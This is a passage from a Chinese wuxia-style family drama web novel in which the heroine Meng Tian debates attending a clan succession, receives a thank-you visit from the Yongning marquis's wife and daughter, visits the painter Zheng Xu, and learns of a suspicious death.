“本不想去那里,但孟老头快病死了,说要把孟家堡传给孟繁那个窝囊废,还给我传信,让我去观礼传位大典。”
孟天狠狠咬下一口绿豆糕,愤愤道。
“呵!我倒要去看看,他们能不能顺利传位。”
谢清源殷勤地递上一杯温热的茶水,“娘子喝口水,别为了那等无用小人生气,不值当。”
孟天接过水,一口喝完,“砰”地把水杯放在桌上,“再给我满上。”
“好嘞~”谢清源拿起茶壶加满水,“娘子,你稍微少吃点,咱们马上吃饭了。”
“你说得好听,孟家堡是我祖父一手创下的基业,江湖无人不知,无人不晓,不过三代,就要毁在孟繁那个一无是处的混账手里,我能吃得下饭吗?”
孟天将手中剩下的半块绿豆糕,一口吞下,气呼呼地说。
“孟老头脑子进水了?就算把孟家堡传给孟简,也比孟繁要好得多。”
说话间,李管家带着下人进来上菜。
“夫人,你刚刚说孟堡主要把孟家堡传给谁?”李管家走近孟天,好奇地问。
孟天压抑着怒气,又说了一边,“孟繁,就是苗氏的大儿子,当年被你一拳打下台阶的那个。”
“哦哟~那可不得行哟!”
李管家砸吧着嘴,发出惊呼。
“那老小子当年的武功,就叫一个烂得惨不忍睹,听老爷说,现在依然是摊扶不上墙的烂泥,孟家堡要是交给他,算是彻底完了。”
李管家叹息一声,颇为遗憾道:
“其实当年,孟老堡主把孟家堡传给孟剑雨,我就觉得他是老糊涂了,明明孟逐风的武功人品,都在孟剑雨之上,搞不懂为何要舍本逐末?”
“那还不是因为孟老头守在孟家堡,又会哄祖父开心,叔父为了精进武功,常年在外打拼,才让孟老头钻了空子。”孟天不忿地说。
谢清源见孟天越说越激动,紧张地对李管家使眼色。
“阿忠啊,菜上齐了没有?可以吃了吗?”
李管家接收到谢清源的示意,立即转换话题,指了指饭桌上的菜肴。
“老爷,夫人,菜已上齐,请用膳。”
他将一盅百合银耳莲子羹,端到孟天面前。
“夫人,尝尝这个,滋阴润肺,降火养颜,味道甘甜爽口,你一定喜欢。”
孟天“嗯”了一声,拿起汤匙,就开始喝。
李管家又把另一盅汤,端到谢清源面前。
“老爷,这是我专门吩咐厨房给你熬的枸杞鹿茸汤,大补哦!你多喝点,别让夫人失望。”
谢清源瞪了他一眼,“我从不让夫人失望。”
此时坐在旁边的孟蕊,面露尴尬,好想自己什么也听不懂啊。
孟天全当没听见,大口吃肉,很快将面前的几道菜一扫而光,然后端着饭碗站起来,换了个方向坐下,继续横扫饭桌。
谢清源将补汤一滴不剩地喝完后,跟上孟天的节奏,大快朵颐。
孟蕊和孟瑾坐在一旁,看着他们用完午膳,才开口将他们查到的事,告诉了父母。
听完吴宁清给孟蕊送消息警示“小心孟家”,姜瑶可能离开了安乐侯府,还和三皇子与孟家堡联合,想要对付孟蕊,谢清源气不打一处来。
“这个姜瑶,小小年纪,怎么尽想着算计我们闺女,依我看,把她杀了算了。”
孟天眉头紧锁,“三皇子和孟家堡合作,图什么?”
“还能图什么?图孟家堡在武林中的地位,图孟繁是个好控制的废物,将孟家堡收入囊中,好为夺嫡出力呗。”谢清源没好气地说。
孟天端起茶水,喝了一口,冷静道:
“若是十几年前的孟家堡,确实是武林中颇具威慑的存在,但现在的孟家堡,早就不复当年实力,也就在西南地界还有点影响。
再说,二十年前孟老头就打不过我了,下面那些子孙的实力更差强人意。
三皇子收了孟家堡,用处不大,肯定还有什么其他目的。”
“他们会不会还想要算计娘亲?”
孟蕊蹙着眉,担忧地问。
“娘亲,您说要去孟家堡观礼传位大典,他们许是算准了您会去,布置好了天罗地网,要对付您呢!”
“蕊儿说得对。”谢清源表示赞同,对孟天劝道,“娘子,你这段时间就留在京城,别去孟家堡,他们再安排什么诡计,都是白搭。”
“不去?”孟天坚决摇头,“难道眼睁睁地看着他们,葬送祖父毕生心血?”
李管家颇为感触道:“要是我们关中李家拳的子孙也这么不成器,我肯定咽不下这口气,绝对要去把掌门之位抢回来!”
“阿忠,你别再火上浇油了。”
谢清源将李管家往旁边扯了扯,自己凑到孟天跟前,情真意切地说。
“娘子,咱们放下孟家堡的事吧,阿瑜不日归京,我们一家人团团圆圆地在一起,不好吗?”
孟天神情一动,“阿瑜已经在回京的路上了?”
“陛下着兵部发出的调令,十天前已经发出,算起来,阿瑜几天前就该接到调令,快的话,已经往京城而来。”
谢清源对上孟天质疑的双眼,不好意思道。
“我想给你一个惊喜,所以之前瞒着你,你不会生气吧?”
“兵部的调令,用的什么原因?”孟天盯着谢清源。
谢清源挠了挠头,“应该是日常官职变动,没什么特别的。”
孟天忽然疲惫地向后靠在椅背上,手指揉着鬓边,埋怨又无奈地看着谢清源。
“事关阿瑜前途,我又不会阻止,你该提前与我商量。”
谢清源小心翼翼地问:“娘子,这有何不妥吗?”
“阿瑜他……可能不会接受你的好意。”
孟天欲言又止,还是如实说出自己的看法。
“那孩子自从离开京城后,性情大变,沉默寡言,又十足的倔强,他如果知道,是你想把他调回京城,我怕他不愿意回来。”
“为什么?”谢清源一怔。
“你还好意思问为什么?”
孟天呼出一口郁气,眼神骤然凌厉。
“当年乱军挥着大刀闯进家门,阿瑜吓得大哭叫爹爹救他的时候,你没有出现,是我拿着菜刀赶到,砍死了那两个乱军。
紧急之下,我不得不当着阿瑜的面杀了他们……
逃出京城路上,还有很多次这种情况,你说为什么?”
第173章 纪家谢礼
“阿瑜……恨我……”
谢清源话音艰涩,像从喉咙深处挤出的声音,带着细微的颤抖。
他想到上一次与孟瑜的见面,比他高半个头的青年兵士,身姿挺拔地立在他面前,一脸冷漠地说不认识他。
“都是我的错,我不是一个负责任的父亲。”
谢清源颓丧地垂着头,脸色灰败。
孟天见不得他这样,伸手推了下他的头。
“落子无悔!谢清源,你当年既然做了选择,就该料到会有这种后果,现在做样子给谁看?我可不吃这一套。”
“娘子,我……”谢清源可怜巴巴地抬头看孟天。
孟天打断他的话,“你有空伤春悲秋,不如赶紧让人查查阿瑜的动向,他若真不愿接受你的好意,不接受兵部的调令,你觉得他会怎么做?”
谢清源猛地站起来,拔腿就往外跑,“我这就派人去查!”
孟天冷哼一声,靠坐在椅子上,依然眉头紧锁。
孟蕊想要上前劝慰,但设身处地想到当年那般场景,她没有资格,替任何人原谅爹爹。
就算是她自己,活过两世,有时也不禁会想象,如果她爹靠谱一点,前世就能发现她是他失踪的亲生女儿,她那一世的命运会不会不一样?
二哥虽比她幸运,没有与娘亲失散,但孩童时期受到的创伤,最难磨灭,他恨爹爹,也情有可原。
孟蕊侧头瞧向孟瑾,想要询问大哥,要不要劝劝娘亲?
她却瞧见,孟瑾眼眸低垂,深邃的眸中似弥漫着自责,紧抿的嘴唇,压抑着孟蕊看不懂的情绪。
“大哥……”孟蕊轻声唤他。
孟瑾恍若未觉,清隽的眉眼此刻正紧蹙纠葛在一起,黑眸沉沉,似乎沉浸在某些深重痛苦的回忆之中。
孟蕊想,大哥也是在为二哥担心吧……
忽然,门外传来脚步声,接着是下人禀报的声音。
“李管家,永宁侯府纪夫人和纪小姐在府外,求见咱们夫人和小姐。”
“永宁侯府?”李管家望向孟天,“夫人,您想见她们吗?用不用我去把人支走?”
纪夫人和纪小姐?孟天想到,她们约莫是为了昨日纪华筠落水之事,眉头舒展了些。
“请她们去正堂,我和蕊儿一会儿就过去。”
……
正堂中,永宁侯夫人和纪华筠,与孟天和孟蕊相互见过礼后,相对而坐。
永宁侯夫人说明来意,“昨日孟夫人和孟小姐仗义相助,救了华筠性命,今日特来感谢。”
随即,永宁侯府的家丁,抬上来两个雕花黄花梨大箱子,放在正堂中央。
箱子打开,一个箱子中装着精美昂贵的珠宝首饰,另一个箱子中,则是一对玄铁铸成的双剑。
“这是我们的一点心意,请孟夫人和孟小姐笑纳。”
永宁侯夫人言语客气,特地指着玄铁双剑对孟天说。
“我知晓你不喜珠宝,便从我家老爷珍藏的武器中,求来了这对玄铁双剑,想着带双数的,是个好寓意。”
永宁侯夫人见孟天不为所动的样子,担心自己的礼物送不出去,又道:
“你自用也好,送人也罢,反正都得收下,不然就是瞧不起我。”
“母亲。”纪华筠不赞同地提醒永宁侯夫人,哪有这样强制送礼的?
永宁侯夫人抿了抿唇,她感激孟天救了女儿,但因为妹妹方若薇与谢清源的事,让她总觉得不自在。
而且当着孟天的面,也不知为什么,许多寻常说惯的场面话,有些说不出口。
此时的孟蕊,望着姿容妍丽,装扮精致到发丝的纪华筠,忍不住多看了几眼。
肤白如雪,细腻如玉,眼若秋水,顾盼生辉,唇似点珠,吐气如兰,华贵的锦缎长裙,勾勒出她婀娜的身姿,只端庄地坐在那里,便透着高贵与优雅,仿若画中走出的仙子,不食人间烟火。
这样美丽典雅的女子,要是真被罗杰裕那等小人祸害,就太可惜了。
注意到孟蕊看来的目光,纪华筠唇角轻扬,笑得眉眼弯弯。
“孟小姐,你一直看我,是我脸上沾了什么东西吗?”
孟蕊被抓包,不好意思地笑,“纪小姐姿容绝美,我一不小心,就挪不开眼了。”
“别取笑我了,谁打扮成我这样,都会很好看。”
纪华筠提了提宽大的衣袖,有些无奈,随即礼尚往来地夸赞孟蕊。
“孟小姐才是天生丽质,我见犹怜。”
“纪小姐谬赞。”孟蕊谦虚道。
纪华筠对她温婉一笑,突然站起身,走到孟天面前,娉娉婷婷行了一礼。
“华筠多谢孟夫人昨日相救,救命大恩,没齿难忘。”
“快请起,我这儿没那么多规矩。”
孟天将纪华筠扶起,手指悄然探上纪华筠的脉搏,感受到川流不息的内力涌动,再次确认了纪华筠会武的事实。
纪华筠似害羞低头,不好意思般快速收回手。
“昨日华筠落入湖中,恍然间,望见孟夫人从天而降,水不沾衣,便将华筠救起,武艺之高超,令华筠大开眼界。”
讲到感兴趣处,纪华筠眼中忽而闪烁着振奋的光。
“敢问孟夫人,您师从何门何派?昨日救我时用的武功招式,叫什么名字?”
孟天没想到纪华筠会问这个,没什么好隐瞒的,直言道:
“我师从孟家堡,师父是我的祖父和叔父,昨日用的招式……没有特定名字,轻功足够熟练,内力足够深厚,你一样可以做到。”
“我也可以吗?”纪华筠突地瞪大眼,兴奋地咧开嘴笑。
“华筠!注意仪态!”
永宁侯夫人沉声提醒。
纪华筠立即收了笑,闭上嘴,板着脸,娉娉婷婷又行了一礼,转身回到永宁侯夫人身边坐好。
孟蕊惊讶于纪华筠的变脸速度,更能感受到她被她母亲压抑天性的不甘。
孟天也看到了这一幕,不满地看向永宁侯夫人。
“纪夫人,华筠礼数很好,你总压着她,把她教得太乖,在外边容易被小人盯上。”
“不劳孟夫人操心,我的女儿,我和我家老爷自会护好。”
永宁侯夫人挨了孟天的批评,语气也重了些。
“至于罗杰裕那等宵小之人,已经被我赶出了永宁侯府,他休想再见我家华筠一面!”
第174章 菩萨心肠
“你把罗杰裕赶走了?他不是纪大人救命恩人之子吗?”
孟天问得直白,那意思就是在问永宁侯夫人,你夫君纪大人能同意?
永宁侯夫人不服气地瞥了孟天一眼,“怎么?就许你在家称王称霸,以为本夫人是吃素的不成?”
孟天来了兴趣,“你也会武?能打得过纪大人?”
“你在说什么?夫妻之间,当相敬如宾,怎可动手?”
永宁侯夫人颇为自豪地说。
“我与我家侯爷,遇事都是有商有量的来,我昨日已经说通侯爷,将罗杰裕请出了府。
昨晚他们收拾好行礼,今儿上午罗杰裕已经搬走,住去了城南的院子。”
“只是让他搬走而已?”
孟天目光意味深长地扫过垂眸不语的纪华筠。
“那个推纪小姐入水的丫鬟呢?怎么处理的?”
永宁侯夫人神情僵了僵,露出些不悦。
她当然不想放过色胆包天的罗杰裕,但永宁侯顾及罗杰裕父亲的救命之恩,又说她们没有十足的证据,不同意惩处罗杰裕,只将人请出府去了事。
至于那个忘恩负义的丫鬟碧莲,永宁侯夫人是想直接打死,最少也是发卖出去,永宁侯对此没意见。
但碧莲突然曝出自己与罗杰裕有私情,求他们成全。
纪华筠顾念多年主仆之情,对碧莲多有不忍心,求父母亲成全碧莲和罗杰裕。
最终,永宁侯夫人抵不过女儿的央求,选择眼不见为净,把碧莲给了罗杰裕,跟随罗杰裕一起搬离了永宁侯府。
孟天等了许久,都不见永宁侯夫人回答,不由得催促:
“纪夫人,你还没说完,你是怎么处理他们的?”
“全都赶出去,不就是都处理了?”
永宁侯夫人被问到痛处,含糊地回答,语气发冲。
“我们永宁侯府,以仁义治家,不会动不动就发卖、打死下人。”
“是我求父亲母亲放过碧莲的。”纪华筠温温柔柔地开口,“碧莲是犯了错,但她只是一时想岔了,不是故意要害我。”
孟天颇为意外地挑了挑眉,“纪小姐当真是菩萨心肠。”
“孟夫人,您有所不知,碧莲从小被买进府,就跟着我,她只比我大一岁,对我尽心尽力地照顾,一直对我很好。”
纪华筠雪白的小脸上,浮现几分怀念与怅惘。
“这么多年的情分在,我不能眼睁睁地看着她走了绝路啊,再说,我被孟夫人救起,什么事也没有,不如成全了碧莲和罗公子。”
“成全碧莲和罗杰裕?”孟蕊忍不住出声,“你是说,他们两个……”
纪华筠难以启齿地咬了咬唇,带着几分内疚道:
“我要是早知道他们已经在一起,就该早些让父母亲成全他们的,也不至于让碧莲以为罗公子移情于我,让她做了错事。”
孟蕊蹙眉,纪华筠所言,与她昨日看到的,和娘亲推论的情况,都不一样。
碧莲和罗杰裕成了一对,因为误解罗杰裕喜欢纪华筠,碧莲将纪华筠推下水,那掐准时间跑过来救人的罗杰裕,成了无辜的?
“罗公子他……”
孟蕊话还没问完,纪华筠就抢答道:
“罗公子昨日是想找机会见碧莲,才会在附近突然出现,他没有恶意,你们不要误会他。”
孟蕊错愕地看着她,这是抛出一个碧莲,把纪华筠与罗杰裕之间的事也都撇清了?同时也把罗杰裕身上的错都摘干净了?
纪华筠轻言软语地继续说:
“我父亲昨日回府,已经严厉审问过罗公子和碧莲,以及府中相关的人,有多人可以证明碧莲与罗公子的关系。
父亲也说,男女之情难自禁,准了碧莲跟随罗公子出府过日子,我也为碧莲能找到这样一个好归宿而高兴。”
“纪小姐是真的高兴?”孟天问得耐人寻味。
纪华筠温婉一笑,“误会都已说清,又成就了一段好姻缘,自是真心高兴。”
“我家华筠与那个罗杰裕没有半点干系,只是为陪伴多年的丫鬟得偿所愿高兴,有什么不对吗?”
许久未说话的永宁侯夫人,出声为纪华筠说话。
她这番说辞,在孟天和孟蕊看来,更像是欲盖弥彰的遮掩,也更明白了纪家母女二人,今日来拜访的目的。
感谢送礼是其二,撇清与罗杰裕的关系,维护纪华筠的好名声,才是她们此行的重点。
“当然对,纪小姐应该高兴。”
孟天笑着应下。
“原来昨日种种,还有这番曲折,多亏纪夫人和纪小姐告知。”
谢家和孟家,与永宁侯府没什么仇怨和利益往来,人家的家务事,要怎么处理,孟天也懒得管。
永宁侯夫人满意地点点头,又不放心地提醒:
“孟夫人,孟小姐,此事关乎我儿华筠的名声,请你们知晓就好,切勿对外传扬。”
“放心吧,我们的嘴都很严。”孟天拍着胸脯保证。
孟蕊也跟着应承,“事关纪小姐名声,我与娘亲一定会严守此事。”
“多谢孟夫人、孟小姐体谅,华筠拜谢。”
纪华筠对着孟天和孟蕊盈盈一拜。
孟天连忙将她扶起,“这点小事,用不着如此客气。”
之后,又闲聊了一盏茶的时间,永宁侯夫人带着纪华筠起身告辞。
孟天没有留客,和孟蕊一起将她们送出二门。
回到正堂,孟天从箱子里拿出那两把玄铁双剑,啧啧赞叹:
“永宁侯府里有些好东西啊!挺有诚意的。”
孟蕊试着从孟天手里接过其中一把剑,却因为玄铁剑太重,差点握不住落在地上。
“哎,看来我是和这剑无缘了,还是飞镖更适合我。”
孟天拍了拍孟蕊的肩,鼓励道:
“女儿别泄气,人各有所长,你的飞镖已经小有所成,娘这就教你飞刀,你会一天比一天厉害。”
“好!”
孟蕊高兴地跟着孟天走向练武场,突然想到就问。
“对了,娘亲,您觉得纪小姐说的,是实话吗?我总感觉有哪里不太对。”
孟天停下挥动着玄铁双剑的手,想了想道:
“我派去永宁侯府打探的人回的消息,和今日纪华筠说的大差不差。
不过这些,都是轻而易举能查到的消息,纪华筠隐藏的事,说不定连她爹娘都不知道。”
第175章 京郊友人
孟蕊深表认同,“纪小姐深藏不露。”
就凭纪华筠那副看似玉软花柔、弱不禁风的外表,任谁也不会想到她会武功。
而且,若真如孟天的推论,纪华筠原本是计划溺死罗杰裕,那丫鬟碧莲在其中,又是扮演的什么角色呢?
碧莲真是罗杰裕的相好?她又为何要推纪华筠落水?
孟蕊总觉得,这事还没完。
不过,她自己的事,更重要。
很快走到练武场,孟天拿出一盒飞刀,教授孟蕊投掷飞刀的技巧和要领,并演示掷出飞刀,对孟蕊的动作一一指导,细细纠正。
有了练习飞镖的基础在前,孟蕊很快上手飞刀的投掷,但也明显发现,投掷飞刀比飞镖的难度更大,需要更高的技巧和掌控力。
孟蕊投掷出一只飞刀,险险射中靶子的边缘,不服气地拿起下一只飞刀,继续投掷。
直练到日暮西垂时,李管家派人来喊她们去用膳,孟蕊才停止练习。
谢清源和孟瑾都外出未归,孟蕊陪着孟天用过晚膳后,母女两在府中花园散步。
“娘亲,听李管家说,您喜爱画花。”
孟蕊观察着孟天的表情,小心翼翼地说。
“父亲按照您的喜好,在这园子里种满了您喜欢的花,就是想要有一天您能看到。”
因为二哥孟瑜的事,爹爹和娘亲之间刚刚破冰的关系,又有封冻的迹象,这是孟蕊不希望看到的。
“是吗?”
孟天嘴角扬着一抹轻笑,素手抚上一朵红艳月季。
“咔嚓”
红艳的花朵被她从枝头摘下,捏在手中,转着花枝看了会儿,忽然递到孟蕊眼前。
“蕊儿,我摘下的这朵花,你能把它恢复到枝头原样吗?”
“这不能吧?”
孟蕊脱口而出,随即明白了孟天的意思。
覆水难收,已经改变的事和人,都无法再回到过去了。
“娘亲……”孟蕊突地有点难过。
孟天只是轻松地笑着,手中拨弄着红艳的花瓣,一片一片地撕下,撒落泥土中。
“蕊儿,我和你父亲的关系,不需要你来从中调和,你不该给自己增加不属于你的负担。”
孟天将手中最后一片花瓣向上抛出,夜风吹来,将鲜红的花瓣吹得很远。
她拍了拍手,认真看向孟蕊。
“我们第一次见面,我就和你说过,我来京城,只是为了你。
我不会在京城久待,若是你在你父亲身边,能过得好,我便放心离开,如果不符合我的预期,我会把你带走,跟着娘过,你愿意吗?”
孟蕊怔怔与娘亲对视,“您和父亲,不能在一起吗?我想和你们都待在一起。”
满打满算,与亲生父母同时在一起的日子,还不到一个月,娘亲就想要离开了吗?
“曾经,我也以为我可以在京城,和你父亲一起过一辈子,嫁人生子而已嘛,其他女人可以的,我为什么不行?”
孟天仰头望向漫天星空,深吸一口气,缓缓呼出。
“来京城之前,我以为这里是花团锦簇的富贵窝,我和你父亲还能像在江湖上那样,每日吃吃喝喝,打打抱不平,只是换个地方逍遥自在。
可惜,并不是那样,森严的规矩我学了,易怒的脾气我收敛了,旁人的奚落嘲讽,我也当没听到。
但是,我没忍住拳头,揍了欺负女人的五皇子一顿,害得你父亲与家族断绝关系,让他从目高于顶的少爷,变成了看人脸色的商人。
我想,我和你父亲,根本不适合在一起。
我该走我的江湖路,他有他的璀璨仕途。”
“娘亲……”孟蕊伸手,握住娘亲的手,直言不讳地问,“您还在为十六年前的事,生父亲的气吗?您恨他吗?”
“嗯……当时是有生气的,但当我离开京城后,突然感到前所未有的轻松。”
孟天揉了揉脸,觉得自己有些好笑。
“我那时在京郊的友人家坐月子,纠结过要不要带着孩子回城找谢清源,但只要一想到那些麻烦的规矩,要应付那些装模作样的人,就非常烦躁,后来索性直接离京了。”
孟蕊听着娘亲的话,想着这些时日相处了解到的娘亲的性情,十分能理解娘亲当年的选择,只不过……
“京郊的友人?”
孟蕊不是第一次听娘亲提起这位帮过她的友人,不禁好奇地问。
“娘亲,您说的这位友人是谁?她还在京城吗?”
“她呀,说起来你也认识。”孟天对孟蕊卖了个关子,“她现在还住在京郊哦。”
孟蕊困惑地眨了眨眼,她认识的住在京郊的人,好像只有曾经教她作画的师父郑栩。
“当年帮您的那位友人,是郑栩大师吗?”
“是啊,我这次回京,还在她那儿住了好几天呢。”
孟天又随手摘下一朵粉色的月季,一边掰着花瓣一边笑着说。
“那天你们去阿栩那儿看望她,我就在旁边的屋里,你们离开后,我一路跟随你们马车走,脚程到底比马慢了一点,晚一步才到锦溪庄。”
孟蕊诧异不已,“啊?那您那时为何不与我相认?”
“那时我还在秘密调查姜瑶,要不是你遇到危险,我也没那么快和你相认。”
孟天又揪完一朵花,突然想到什么,对着孟蕊笑眯了眼。
“说起来,我准备要离京,还是要去和阿栩说一声,要不我们明日就去看看她吧?我还在她那儿寄养了一笼兔子,明天刚好烤来吃。”
孟蕊抿了抿唇,失落地问:“娘亲您准备何时离京,不能再多待些时日吗?”
“不急,我要等你二哥的消息到了再决定。”
孟天丢下手中光秃秃的花杆子,伸手捏了捏孟蕊郁闷的小脸。
“蕊儿啊,你看看你,在京城呆久了,整个人跟个小老头似的,为点小事愁眉不展,你要是舍不得娘亲,就跟娘亲走呗,江湖比京城好玩多了!”
孟蕊水眸亮了亮,又纠结道:“可是我的武功不好,会不会拖累娘亲?”
“你看你,又在为了还没发生的事发愁。”
孟天干脆伸出双手,揉着孟蕊的小脸蛋,似乎这样,就能把女儿脸上的烦恼揉走。
孟蕊握住娘亲捣乱的双手,不赞同地蹙眉,“不是没发生的事,姜瑶她……”
“姜瑶想算计我们嘛,也不是什么了不得的大事。”
孟天松开女儿的脸,凑近她耳边,小声密谋。
“在京城,姜瑶有三皇子撑腰,涉及皇家,我们不好动她。
但她只要敢离京,踏入江湖纷争,想弄死她,容易得很!”
第176章 从小倔强
孟蕊惊讶得睁大了眼,“娘亲,您真的会杀了姜瑶?”
她还记得在京郊破庙里,娘亲对被废了武功的姜瑶面露心疼,她娘真能狠心下手,杀了曾经养了十六年的姜瑶吗?
“我已经给过姜瑶最后的机会了。”
孟天拍了拍孟蕊的肩,言语平静中带着一丝冷意。
“倘若她真要作死,那我不介意让她见识一下,什么叫做江湖险恶。”
孟蕊望着月光下,娘亲骤然凌厉的表情,这两日心中蓄积的焦虑和忧愁,忽然一扫而空。
她想要的,就是娘亲坚决的态度。
“娘亲,您何时起程?带女儿一起走吧。”
孟蕊的脸颊因激动微微泛红,绽放出如春花般明媚的笑意。
“我想与您一同闯荡江湖,也想看看,您如何教姜瑶江湖险恶。”
“好!那就说定了。”
……
第二日,孟天带着孟蕊一起,去看望好友、著名女画师郑栩。
京郊,松风草庐院中,孟天熟练地将肥嫩的兔子料理干净,孟蕊和翠柳帮着支好烤架,开始烧烤野兔。
翠柳看着被烤得滋滋冒油的兔肉,馋得流口水。
孟蕊戳了戳翠柳圆乎乎的小脸,“之前不是在府中吃过烤兔肉了吗?怎么还这么馋呀?”
“可是,这不一样啦~”
翠柳乌溜溜的大眼睛,直勾勾地盯着孟天正在撒佐料的兔肉。
“夫人亲手烤的,一定很好吃。”
头戴玉冠、身着青灰道袍的郑栩,正以手掩鼻,嫌弃地看着忙碌烧烤的孟天。
“我这儿清幽风雅之地,被你糟蹋成了炙肉摊?”
郑栩话中带着不满,却丝毫没有要阻止孟天的意思,可见两人关系交好。
孟天对她嘿嘿一笑,“郑大师,炙肉摊有何不好?你这儿太清静,我给你加点烟火气呀。”
说着,孟天拿起扇子,对着烤架中扇了扇风,炭火的烟熏气息伴着烤肉鲜香扑面而来。
翠柳闻着香味更馋了,双眼盯着烤肉放光。
郑栩忙往后退,躲避着烟味,跑进了屋子里,半掩着屋门,对着孟天控诉:
“当着你女儿的面,你怎么还好意思这么幼稚?真受不了你!”
“我还受不了你呢,白长了年纪,依然吹毛求疵,你敢说烤好了你不吃?”
孟天停下扇风,利落地把兔肉翻了个面,对着郑栩嘚瑟。
“嘿嘿,你是不是羡慕我有这么可爱的女儿呀?可惜,某人是羡慕不来的~”
郑栩嘴上不饶人,“我帮你养的兔子,在我的院子里烧烤,我凭什么不吃?”
“想吃就别嫌弃,过来帮忙。”
孟天对她招了招手。
“把你的毛笔拿一支来,给肉上再抹点油。”
“什么?我那可是羊毫湖笔!你知道多少银子一支吗?要来给烤肉抹油?暴殄天物!”
郑栩“砰”的一下关上门,生怕孟天进来抢她的宝贝湖笔。
不过一会儿,门又被“砰”的一声打开。
郑栩拿着一支精致的毛笔出来,递给孟天,“这支用了些时日,我不要了,给你。”
“给我干什么?给兔肉涂油会不会?”
孟天指挥着郑栩,拿笔沾了油,给兔肉涂抹,郑栩还真按照她的要求去做了。
“对,就是这样,涂均匀一点。”
孟蕊在一旁看得目瞪口呆,孤冷清高的郑栩大师,手拿画笔,不是在作画,竟然在给烤肉涂油。
要是京中那些千金求画的达官显贵们看到,会被惊掉下巴?
这顿烤兔肉,吃得热热闹闹,宾主尽欢。
孟蕊从孟天和郑栩的对话中,知道了许多不为人知的事。
原来,当年郑栩到京城后,想知道自己画作的价值,四处寄卖,却因她无名气又是女子而被屡屡拒绝。
直到去了谢清源开的书肆,一起看店的孟天,一眼就看中郑栩画的花鸟,直接掏银子买了下来,两人自此熟识。
后来郑栩差点被不做人的前未婚夫强纳为妾,是孟天和谢清源帮了她,才让她能有现在恣意舒坦的日子过。
孟蕊也是今天才知道,娘亲当年也和郑栩学过画,画人物小像和花鸟最得真传。
“说起来,当年第一眼看到蕊儿,就觉得面善,画作得也不错,我选她做了弟子,未曾想会是你的女儿。”
郑栩瞧瞧孟蕊,又看看孟天,忽而笑道。
“孟老板,你不够努力呀,这女儿生得与你三分像,倒是七分像谢清源那厮,不然我早就认出来,好通知你了。”
郑栩与孟天在书肆相识,叫她孟老板习惯了,至今也没有改换称呼。
孟天冷哼一声,“你少马后炮了,谢清源你也认识,你要真能认出来,通知他不就行了。”
“谁要理那个奸商!”郑栩嗤之以鼻。
孟蕊听着她们斗嘴,想起小时候来松风草庐参加弟子选拔的事,久远的已经是上辈子的记忆。
“我记得当年,先生您选了三名弟子,除了我和南音,好像还有永宁侯府的纪华筠,怎么后来学画时,没见过她?”
“哦,那孩子啊,她似乎是被她母亲逼着,来参加弟子选拔的。”
郑栩对纪华筠印象深刻,清冷的脸上,浮现几分可惜。
“她比你和南音只大一岁,但画技要成熟得多,可见是下了苦工的,但她不愿学画,听说在家绝食三天后,才让她母亲松口,派人送来厚礼赔罪,并没有成为我的弟子。”
孟蕊对此感到惊讶,“我记得参加先生弟子选拔时,我才十岁,那纪华筠她当年也才十一岁?就为此绝食?”
纪华筠看起来温柔乖顺,没想到小时候的她,居然敢绝食忤逆母亲。
郑栩道:“永宁侯夫人对女儿期望甚高,想将纪华筠培养成琴棋书画样样精通的才女,但那孩子十分倔强,越长大越不肯学,永宁侯夫人这两年也随她去了。”
……
日落之前,孟天一行向郑栩辞行,坐马车回城。
从城门口进城时,发现出城的那边排起了长队,便让吟秋去打听情况。
“回夫人小姐,奴婢打听到,是永宁侯府在搜捕两名私逃的奴婢。”吟秋回话道。
孟天觉得可疑,“搜捕逃奴,需要这么大阵仗?”
“城门旁边的小贩,还有另一种说法。”
吟秋压低了声音。
“听说是以前寄住在永宁侯府的罗公子昨夜暴毙,那两名逃奴,或有谋害之嫌……”
第177章 永宁侯府
“罗杰裕死了?”
孟天不确定地问。
“确定是昨日才从永宁侯府搬出去住的罗杰裕?”
“就是他。”吟秋答道,“奴婢与好几人都确认过。”
孟蕊倒吸一口凉气,罗杰裕昨日上午才从永宁侯府搬出去,当天晚上就死了,这也太不可思议了。
她想到前日宫宴上纪华筠的落水,她娘亲推测纪华筠想要溺死罗杰裕……
“娘亲,会不会是……”
“我们先回去。”
孟天打断孟蕊的话,让车夫继续驾车回府。
刚回到谢府,谢清源就迎了上来。
“娘子,我昨日已经给南边发去消息,阿瑜的情况最早明日、最迟后日就可传回,兵部和吏部我今日去确认了,他们用的普通调令,就是最寻常的那种。”
谢清源像一个做了错事的孩子,小心翼翼地等待孟天的审判。
“我想,阿瑜应该会接受调令来京,你暂时不会离开京城吧?”
“事已至此,等阿瑜的消息传来再说。”
孟天对他招了招手,两人并排往府内走去,孟蕊紧紧跟在爹娘身后。
孟天边走边问:
“对了,你刚才说你去了兵部,兵部尚书、永宁侯纪恺的救命恩人之子,听说昨夜死了,纪大人今日还在兵部当值?”
谢清源略感惊讶,“娘子,你的消息真灵通,连这事都知道。”
“城门口都堵人搜捕了,我能不知道吗?”孟天道,“你和我说说,这到底是怎么回事?”
“这事儿问我,娘子你算是问对人了,我今日去兵部一趟,可是拿到了最新鲜的小道消息,外边没几个知道的。”
谢清源为了儿子孟瑜的前途,和兵部的那几个高级别的官员,都混熟了,打听起消息来,方便得很。
他们走到正堂,各自坐下。
孟蕊喝下一口茶,就听到她爹开始滔滔不绝地讲起,永宁侯府的事。
前日宫宴上,永宁侯在孟天的提醒下去了御花园,知道了嫡女纪华筠被丫鬟碧莲推入湖里的事,又听了作为目击证人的几位高门贵女的证词,认定了罗杰裕联合碧莲,想要陷害纪华筠名声,以达到攀附亲事的目的。
永宁侯夫妇请几位证人为此事保密,然后带着永宁侯府的人立刻出了宫。
回到永宁侯府后,永宁侯将所有涉事之人都审问了一遍,即使罗杰裕嘴硬不认,但碧莲几乎没有犹豫就承认了自己的罪过,还说她与罗杰裕有男女之情,请主子成全。
永宁侯夫妇最终决定,罗杰裕不能再留在永宁侯府,他们送了城南的一套两进院子和一些金银给罗杰裕,令他搬过去居住,并在纪华筠的恳求下,免了对碧莲的责罚,把碧莲送给罗杰裕做妾。
罗杰裕在永宁侯院子门外跪了一夜,也没能让永宁侯回心转意。
昨日午时前,罗杰裕和碧莲被永宁侯府的侍卫,强硬地送上马车,带着金银细软,被送去了城南的两进院子。
永宁侯夫人担心罗杰裕对纪华筠纠缠不休,除了碧莲,还多送了他两个美貌丫鬟,分别唤作碧波和碧水。
变故发生在昨日夜里,三个丫鬟一起备了好酒好菜,伺候了罗杰裕用膳后,碧波和碧水退出房间,碧莲留下伺候枕席。
碧波和碧水洗漱完,正要睡下,衣衫不整的碧莲,突然惊恐万分地闯进房中,告诉她们,罗公子好像死了。
